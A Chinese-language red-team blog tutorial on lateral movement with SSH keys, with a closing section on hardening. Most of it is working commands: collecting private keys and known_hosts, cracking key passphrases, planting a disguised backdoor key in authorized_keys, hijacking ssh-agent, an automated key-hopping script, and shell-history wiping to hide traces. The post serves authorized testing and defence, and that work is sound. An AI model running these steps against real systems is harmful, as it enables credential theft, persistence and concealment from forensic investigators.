1. 项目概述与核心场景
最近在复盘一次内部红蓝对抗的复盘报告,发现一个挺有意思的现象:很多防守方在边界防护上投入了大量精力,比如WAF、IDS、防火墙策略都做得挺严实,但一旦攻击者通过某种方式(比如一个薄弱的Web应用漏洞)拿到了一台内网Linux服务器的初始立足点,后续的横向移动往往就变得异常顺畅。这其中,SSH密钥的利用是一个被严重低估的“高速公路”。很多人觉得配置了密钥登录就一劳永逸,比密码安全,但实际上,如果密钥管理不当,它反而会成为攻击者在内部网络快速扩散的跳板。今天,我就结合实战中的几个典型场景,来拆解一下攻击者是如何利用SSH密钥在内网里“逛街”的,以及我们作为防御方该如何布防。
简单来说,这个内容就是聚焦于:当你已经拿到一台Linux服务器的某种权限(比如一个Web Shell,或者通过漏洞获取的普通用户权限)后,如何以它为起点,利用内网中现存的SSH密钥对,向其他服务器进行横向渗透。这不仅仅是“找到密钥然后登录”那么简单,它涉及密钥的发现、提取、破解(如果需要)、利用以及后续的权限维持和痕迹清理,是一套完整的战术链。无论你是安全工程师想加固自己的环境,还是渗透测试人员想提升内网渗透的效率,这些实战技巧都值得仔细琢磨。
2. SSH密钥利用的核心原理与攻击路径
要理解攻击手法,首先得明白SSH密钥认证是怎么工作的。当我们说“SSH密钥登录”,通常指的是使用非对称加密的一对密钥:一个私钥(private key)保存在客户端机器上,绝对保密;一个公钥(public key)放在目标服务器的
~/.ssh/authorized_keys
文件里。登录时,客户端用私钥对挑战信息签名,服务器用对应的公钥验证签名,通过则允许登录。这比密码安全,因为它避免了密码在网络中传输和暴力破解的风险。
然而,从攻击者视角看,这个机制暴露了几个关键的攻击面:
-
私钥存储位置固定
:用户通常将私钥保存在
~/.ssh/id_rsa、~/.ssh/id_dsa、~/.ssh/id_ecdsa或~/.ssh/id_ed25519等默认位置。这为攻击者提供了明确的搜寻目标。 -
公钥授权文件集中
:
~/.ssh/authorized_keys文件包含了所有被允许通过密钥登录此账户的公钥列表。攻击者不仅可以添加自己的公钥实现后门,还可以读取已有的公钥,用于推断可能存在的、对应私钥在其他主机上的情况。 - 密钥可能无密码保护 :为了便利,很多运维人员或自动化脚本使用的私钥是不设置密码(passphrase)的。这意味着一旦私钥文件被窃取,立即可以投入使用,无需破解。
- 密钥信任关系可传递 :内网中普遍存在基于密钥的信任关系。例如,跳板机可以无密码登录业务服务器,运维机可以无密码登录所有数据库服务器。攻击者获取了跳板机上的私钥,就相当于拿到了它所信任的所有服务器的门票。
基于这些原理,攻击者在获取初始立足点后的典型攻击路径如下:首先,在已控服务器上进行本地信息收集,寻找现存的SSH私钥和已知主机信息;然后,尝试使用找到的私钥连接其他常见目标(如同段IP、历史连接过的IP);如果私钥有密码,则尝试破解;成功后,在新的服务器上重复上述过程,实现横向移动。同时,他们也会尝试写入自己的公钥到
authorized_keys
,建立持久化后门。
注意:本文所有技术讨论均限于授权安全测试、企业内部安全评估及个人学习环境。未经授权对他人的系统进行渗透测试是违法行为。
3. 实战环境信息收集与密钥发现
拿到一个Shell之后,别急着横移,系统的信息收集是成功的第一步。盲目扫描可能会触发告警。我们的目标是快、准、静。
3.1 基础环境侦察
首先,得知道自己在哪,周围有什么。执行一些基础命令来绘制小范围地图:
# 查看当前用户和权限
id
whoami
sudo -l # 非常重要!查看当前用户能以sudo方式执行哪些命令
# 查看网络配置,确定IP段和网卡信息
ip addr show
ifconfig
cat /etc/hosts
# 查看ARP缓存和当前网络连接,寻找内网其他活跃主机
arp -a
netstat -antp
ss -antp
# 查看历史命令,也许有运维人员连接其他服务器的记录
history
cat ~/.bash_history
这些信息能帮你判断这台服务器的角色(是Web服务器、数据库还是跳板机),以及它可能通信的内网IP段。
3.2 针对性搜寻SSH密钥及相关文件
接下来,就是寻找“钥匙”。搜索要有重点,避免全盘扫描产生大量IO引起注意。
# 1. 检查当前用户的SSH目录
ls -la ~/.ssh/
cat ~/.ssh/id_* 2>/dev/null # 尝试读取私钥文件
cat ~/.ssh/authorized_keys 2>/dev/null # 查看当前用户允许哪些密钥登录
cat ~/.ssh/known_hosts 2>/dev/null # 查看该用户曾经连接过哪些主机,是重要的目标列表
# 2. 检查是否有其他用户的SSH目录
# 先列举所有用户
cat /etc/passwd | cut -d: -f1
# 或者检查/home目录
ls -la /home/
# 针对发现的其他用户,尝试读取其.ssh目录(需要相应权限)
sudo cat /home/otheruser/.ssh/id_rsa 2>/dev/null
# 如果当前用户有sudo权限,甚至可以切换到其他用户
sudo -u otheruser cat /home/otheruser/.ssh/id_rsa
# 3. 全局搜索可能的密钥文件(谨慎使用,动作较大)
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null | head -20
find / -type f -perm -400 -name "*id*" 2>/dev/null # 查找具有可读权限的疑似密钥文件
# 4. 检查根目录或特定应用目录下是否有运维留下的密钥
ls -la /root/.ssh/ 2>/dev/null
ls -la /tmp/ /var/tmp/ # 临时目录有时会有脚本留下的密钥
实操心得
:
~/.ssh/known_hosts
文件是个宝藏。它记录了该用户通过SSH连接过的所有主机的主机密钥。虽然不能直接用于登录,但它给了你一个非常精准的横向移动目标列表。你可以从里面提取出所有连接过的IP或主机名。
3.3 内存与进程中的密钥嗅探
更高级的攻击者还会关注内存中的信息。如果某个SSH连接正在使用中,其私钥可能以解密后的形式存在于进程内存中。这需要借助一些工具,但在简单的环境下,也可以通过搜索进程命令行来发现:
# 查看是否有ssh-agent进程(管理密钥的代理)
ps aux | grep ssh-agent
# 查看是否有保持着的SSH连接进程
ps aux | grep “ssh -”
# 检查环境变量,看是否有SSH_AUTH_SOCK(指向ssh-agent的socket)
env | grep SSH
如果存在
ssh-agent
且你能访问其socket文件,理论上可以从中列举出已加载的私钥并进行使用,但这涉及更复杂的内存取证技术。
4. 密钥的利用与横向移动技巧
找到密钥文件后,真正的横向移动就开始了。这里分几种情况讨论。
4.1 使用无密码的私钥直接连接
这是最简单的情况。假设你在
/home/webuser/.ssh/
下找到了一个
id_rsa
文件,并且它没有密码保护。
-
本地测试密钥有效性 :
# 首先,将私钥权限设置为600,这是SSH客户端的要求 chmod 600 /tmp/id_rsa_stolen # 尝试用这个密钥连接它来源服务器自身(如果authorized_keys里有对应公钥) ssh -i /tmp/id_rsa_stolen webuser@localhost -o ConnectTimeout=3 -
针对known_hosts的目标进行连接 :
# 从known_hosts提取目标IP(一个简单的示例,实际需要解析该文件格式) # known_hosts的每一行可能包含IP、主机名和密钥类型,这里用awk简单提取IP cat ~/.ssh/known_hosts | awk '{print $1}' | cut -d, -f1 | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u > targets.txt # 遍历目标列表,尝试连接常见端口(22) for ip in $(cat targets.txt); do echo "Trying $ip..." ssh -i /tmp/id_rsa_stolen -o ConnectTimeout=2 -o BatchMode=yes webuser@$ip "hostname" 2>/dev/null if [ $? -eq 0 ]; then echo "[+] Successfully connected to $ip" fi done参数解释:
-
-i:指定身份文件(私钥)。 -
-o ConnectTimeout=2:设置连接超时为2秒,避免在无法连接的主机上等待过久。 -
-o BatchMode=yes:禁用密码询问等交互,适用于脚本环境。如果密钥需要密码,这个选项会导致连接失败,正好用于筛选无密码密钥。 -
命令
“hostname”:连接成功后执行的命令,这里只是获取主机名确认权限。
-
-
针对当前网段进行扫描连接 : 如果
known_hosts里目标不多,或者你想扩大战果,可以对当前网段进行扫描。# 假设当前IP是192.168.1.100,扫描192.168.1.0/24网段 for i in {1..254}; do ip="192.168.1.$i" # 跳过自己 if [ "$ip" == "192.168.1.100" ]; then continue fi ssh -i /tmp/id_rsa_stolen -o ConnectTimeout=1 -o BatchMode=yes -o StrictHostKeyChecking=no webuser@$ip "echo $ip is alive" 2>/dev/null done重要警告 :
-o StrictHostKeyChecking=no参数会忽略主机密钥验证,这在自动化脚本中常用,但会带来中间人攻击风险。在实战中,如果对速度要求不是极端高,可以去掉这个参数,首次连接时手动确认一次,或者通过其他方式预先接受主机密钥。
4.2 破解受密码保护的私钥
如果找到的私钥文件被加密了(有passphrase),你会看到类似
-----BEGIN RSA PRIVATE KEY-----
和
Proc-Type: 4,ENCRYPTED
的标识。这时候就需要破解。
-
使用ssh2john和John the Ripper : 这是最经典的方法。首先用
ssh2john工具将SSH私钥转换成John能识别的哈希格式,然后用John进行破解。# 1. 将私钥转换为john格式的哈希 ssh2john id_rsa_encrypted > id_rsa_hash.txt # 2. 使用john破解,可以指定字典文件 john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt # 3. 查看破解出的密码 john --show id_rsa_hash.txt -
使用hashcat :
hashcat支持GPU加速,速度更快。需要先确定私钥的哈希模式。对于OpenSSH私钥,模式通常是22911(适用于$sshng$格式,这是新版ssh2john输出的)或22921等。# 转换格式(确保ssh2john输出的是$sshng$开头) ssh2john id_rsa_encrypted > id_rsa_hash.txt # 使用hashcat破解,模式22911 hashcat -m 22911 id_rsa_hash.txt /usr/share/wordlists/rockyou.txt -O
注意事项 :
-
破解成功率完全取决于密码强度。运维为了方便,密码可能很简单,比如
admin@123、Password1、或者公司名缩写+年份。 - 在实战中,如果时间紧迫或目标价值不高,可能会直接放弃有密码的密钥,转向其他攻击路径。
- 可以尝试结合目标单位的信息生成专属字典(如公司名、产品名、常用口号等),能提高破解效率。
4.3 利用authorized_keys植入后门
如果你有写入
~/.ssh/authorized_keys
的权限(比如当前用户就是目标用户,或者通过sudo提权),那么植入后门是最直接的持久化方式。
-
生成一对新的SSH密钥对 :
ssh-keygen -t rsa -b 2048 -f /tmp/backdoor_key -N "" # -N "" 表示空密码这会在
/tmp下生成backdoor_key(私钥)和backdoor_key.pub(公钥)。 -
将公钥追加到目标用户的authorized_keys文件 :
echo $(cat /tmp/backdoor_key.pub) >> ~/.ssh/authorized_keys # 如果需要写入其他用户目录,可能需要权限 sudo bash -c 'echo \"$(cat /tmp/backdoor_key.pub)\" >> /home/targetuser/.ssh/authorized_keys' -
(可选)进行伪装 :为了隐蔽,可以将你的公钥伪装成一条正常的记录,或者附加在一条正常记录后面。也可以修改公钥注释部分(通常是
user@hostname),改成看起来合理的名字。 -
从外部连接 :保存好私钥文件
backdoor_key,之后你就可以从任何能访问目标IP的机器上,使用该私钥直接登录。ssh -i /path/to/backdoor_key targetuser@target_ip
提示:防御方应定期审计
authorized_keys文件,检查是否有未授权或来源不明的公钥。可以使用类似ssh-keygen -l -f .ssh/authorized_keys的命令查看所有公钥的指纹和注释。
4.4 利用SSH代理转发进行跳板
这是一种更隐蔽的横向移动方式,不需要窃取私钥文件。假设你通过SSH连接到了服务器A,并且A上正在运行
ssh-agent
(它管理着可以登录服务器B的私钥)。
-
检查SSH代理转发是否可用 :在服务器A上,检查
SSH_AUTH_SOCK环境变量。echo $SSH_AUTH_SOCK # 输出类似 /tmp/ssh-XXXXXXX/agent.12345 -
利用代理进行连接 :如果你的SSH客户端支持代理转发(在连接A时用了
-A参数),或者你手动将A上的SSH_AUTH_SOCK环境变量和socket文件“隧道”回了你的攻击机,那么你就可以直接使用A上ssh-agent里缓存的密钥来连接B。# 在攻击机上,假设你已经通过某种方式将A的SSH_AUTH_SOCK映射到了本地 export SSH_AUTH_SOCK=/tmp/agent_socket_from_A # 现在,你可以直接ssh到B,而无需B的私钥文件在本地 ssh user_on_B@server_B_ip这非常隐蔽,因为私钥本身没有离开服务器A的内存,攻击者只是在“借用”这个已建立的认证会话。
防御要点
:在
/etc/ssh/sshd_config
中,将
AllowAgentForwarding
设置为
no
可以禁用服务器端的代理转发功能,阻止这种利用方式。对于高度敏感的环境,建议禁用。
5. 自动化工具与脚本实战
手动操作虽然灵活,但在大规模内网中效率低下。我们可以编写一些简单的Shell脚本来自动化整个过程。
5.1 自动化密钥发现与连接脚本
下面是一个相对完整的脚本示例,它会在当前机器上搜索私钥,尝试用它们连接一个IP列表。
#!/bin/bash
# auto_ssh_key_hopping.sh
TARGET_FILE="target_ips.txt" # 每行一个目标IP
OUTPUT_FILE="success_log.txt"
KEY_FIND_DIRS=("/home" "/root" "/tmp") # 搜索密钥的目录
echo "[*] Starting SSH key discovery and hopping..."
# 函数:尝试用私钥连接
try_key() {
local KEY_FILE=$1
local TARGET_IP=$2
local USER=$3
chmod 600 "$KEY_FILE" 2>/dev/null
# 尝试连接并执行一个简单命令
result=$(ssh -i "$KEY_FILE" -o ConnectTimeout=3 -o BatchMode=yes -o StrictHostKeyChecking=no "$USER"@"$TARGET_IP" "hostname && whoami" 2>/dev/null)
if [ $? -eq 0 ]; then
echo "[+] SUCCESS: IP=$TARGET_IP, User=$USER, Key=$KEY_FILE" | tee -a "$OUTPUT_FILE"
echo " Output: $result" | tee -a "$OUTPUT_FILE"
return 0
else
echo "[-] Failed: $TARGET_IP with $KEY_FILE"
return 1
fi
}
# 1. 寻找私钥文件
echo "[*] Searching for private keys..."
KEY_FILES=()
for dir in "${KEY_FIND_DIRS[@]}"; do
if [ -d "$dir" ]; then
while IFS= read -r -d $'\0' file; do
# 简单过滤,根据文件名和内容判断是否为私钥
if grep -q "BEGIN.*PRIVATE KEY" "$file" 2>/dev/null; then
KEY_FILES+=("$file")
echo "[*] Found potential key: $file"
fi
done < <(find "$dir" -type f \( -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" -o -name "*.pem" \) -readable 2>/dev/null -print0)
fi
done
if [ ${#KEY_FILES[@]} -eq 0 ]; then
echo "[-] No private keys found."
exit 1
fi
# 2. 读取目标IP列表
if [ ! -f "$TARGET_FILE" ]; then
echo "[-] Target file $TARGET_FILE not found."
# 可以尝试从known_hosts生成
echo "[*] Trying to generate targets from known_hosts..."
cat ~/.ssh/known_hosts 2>/dev/null | awk '{print $1}' | tr ',' '\n' | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u > "$TARGET_FILE"
if [ ! -s "$TARGET_FILE" ]; then
echo "[-] Could not generate target list. Exiting."
exit 1
fi
fi
# 3. 定义要尝试的用户名列表(根据信息收集结果调整)
USER_LIST=("root" $(whoami) "admin" "ubuntu" "centos" "deploy" "jenkins" "git")
# 4. 三重循环:密钥 -> 目标 -> 用户
echo "[*] Starting connection attempts..."
for key in "${KEY_FILES[@]}"; do
echo "[*] Testing key: $key"
while read -r target_ip; do
# 跳过空行和注释
[[ "$target_ip" =~ ^#.*$ ]] || [ -z "$target_ip" ] && continue
for user in "${USER_LIST[@]}"; do
try_key "$key" "$target_ip" "$user"
# 稍微延迟,避免请求过于频繁
sleep 0.1
done
done < "$TARGET_FILE"
done
echo "[*] Scan finished. Check $OUTPUT_FILE for results."
脚本使用要点 :
-
这是一个基础框架,需要根据实际情况调整
KEY_FIND_DIRS和USER_LIST。 -
脚本包含了从
known_hosts自动生成目标列表的备选逻辑。 -
-o BatchMode=yes确保了只有无密码密钥或已加载到agent的密钥才能成功,避免了交互式密码输入卡住脚本。 - 在生产环境使用前,务必在测试环境充分验证,避免因脚本错误(如权限修改错误)影响业务。
5.2 利用Metasploit或Cobalt Strike等框架
对于专业渗透测试人员,使用成熟框架效率更高。
-
Metasploit :有专门的模块用于扫描和利用SSH密钥。
-
auxiliary/scanner/ssh/ssh_identify_pubkeys:扫描主机,识别authorized_keys文件中可用的公钥。 -
在获取Meterpreter会话后,可以使用
post/multi/gather/ssh_creds模块来自动收集会话主机上的SSH密钥和已知主机信息。 -
使用
use auxiliary/scanner/ssh/ssh_login_pubkey模块,配合收集到的私钥和用户名/IP列表进行批量登录测试。
-
-
Cobalt Strike :可以通过Aggressor Script编写自动化任务,在Beacon会话中执行类似上述Shell脚本的命令,收集密钥并尝试横向移动,然后将结果汇总到团队服务器。
使用框架的优势在于日志集中、协作方便,并且可以方便地与其他攻击模块(如漏洞利用、提权)结合形成自动化攻击链。
6. 防御策略与痕迹清理
有攻必有防。作为攻击方,要了解如何隐藏痕迹;作为防御方,要知道如何布防。
6.1 攻击方的痕迹清理(授权测试后)
在授权测试结束后,通常需要清理留下的痕迹,特别是添加的后门密钥。
-
清理authorized_keys中的后门 :
# 精确删除你添加的那一行,需要知道公钥内容 sed -i '/your_public_key_string_here/d' ~/.ssh/authorized_keys # 或者,如果你不记得具体内容,可以备份后清空(风险大,慎用) cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.bak echo "" > ~/.ssh/authorized_keys # 然后从备份中恢复原有的合法密钥(需要你知道哪些是原有的) -
清理Shell历史 :
# 清理当前会话的历史(内存中) history -c # 清理历史文件 cat /dev/null > ~/.bash_history # 或者只删除包含敏感命令的行 sed -i '/ssh.*-i.*id_rsa_stolen/d' ~/.bash_history sed -i '/scp.*id_rsa/d' ~/.bash_history -
清理临时文件 :
rm -f /tmp/id_rsa_stolen /tmp/backdoor_key* -
注意文件时间戳 :
touch命令可以修改文件的访问和修改时间,但高级取证可能会检查inode变更时间(ctime),这个时间很难完美伪造。在要求极高的场景下,痕迹清理几乎不可能完美。
6.2 防御方的加固建议
对于系统管理员和安全工程师,以下措施可以极大增加攻击者利用SSH密钥进行横向移动的难度:
-
强制为私钥设置强密码
:在
ssh-keygen时一定要设置强密码短语(passphrase)。虽然带来了不便,但这是防止私钥泄露后直接被利用的第一道屏障。 -
使用ssh-agent并设置超时
:对于需要频繁使用密钥的场景,使用
ssh-agent管理解密后的密钥,并为其设置超时(ssh-add -t <seconds>),让密钥在一定时间后自动从代理中移除。 -
严格管理authorized_keys文件
:
-
定期审计
~/.ssh/authorized_keys,移除不再使用的公钥。 -
使用
from=选项限制公钥的使用来源IP。例如,在authorized_keys中一行公钥前加上from="192.168.1.0/24,10.1.1.1",表示只允许从指定IP段使用该密钥登录。 -
使用
command=选项限制密钥登录后只能执行特定命令,常用于自动化脚本。
-
定期审计
-
网络隔离与访问控制
:
- 遵循最小权限原则,服务器之间不应存在全通的SSH信任关系。使用跳板机(堡垒机),并严格控制跳板机到业务服务器的密钥对。
- 在网络层使用防火墙或安全组策略,限制SSH端口(22)的访问,只允许来自管理网段或跳板机的IP连接。
-
启用SSH日志并集中监控
:
-
确保SSH日志(通常为
/var/log/auth.log或/var/log/secure)正常开启。 - 部署SIEM系统,集中收集和分析SSH日志,关注异常行为,如:非工作时间登录、来源IP异常、频繁认证失败、使用不常见的用户名登录成功等。
-
确保SSH日志(通常为
- 考虑使用证书认证替代密钥认证 :对于大型环境,可以考虑部署SSH证书认证(SSH Certificate Authority)。由统一的CA签发短期有效的证书,替代长期有效的静态密钥,从根本上解决密钥分发、管理和撤销的难题。
- 定期更换密钥 :制定策略,定期(如每季度或每半年)更换用于服务器管理的SSH密钥对。
-
禁用不安全的选项
:在
/etc/ssh/sshd_config中:-
PermitRootLogin设置为prohibit-password或no。 -
PasswordAuthentication设置为no,强制使用密钥认证,但前提是密钥管理必须到位。 -
AllowAgentForwarding设置为no,除非业务必需。 -
X11Forwarding设置为no。
-
横向移动的对抗是内网安全的核心。SSH密钥作为一把双刃剑,用好了能极大提升运维效率和安全性,用不好则会为攻击者铺平道路。真正的安全不在于某个点上的坚固,而在于整个体系没有明显的短板。理解攻击者的思路,才能更好地构建防御。
361

被折叠的 条评论
为什么被折叠?



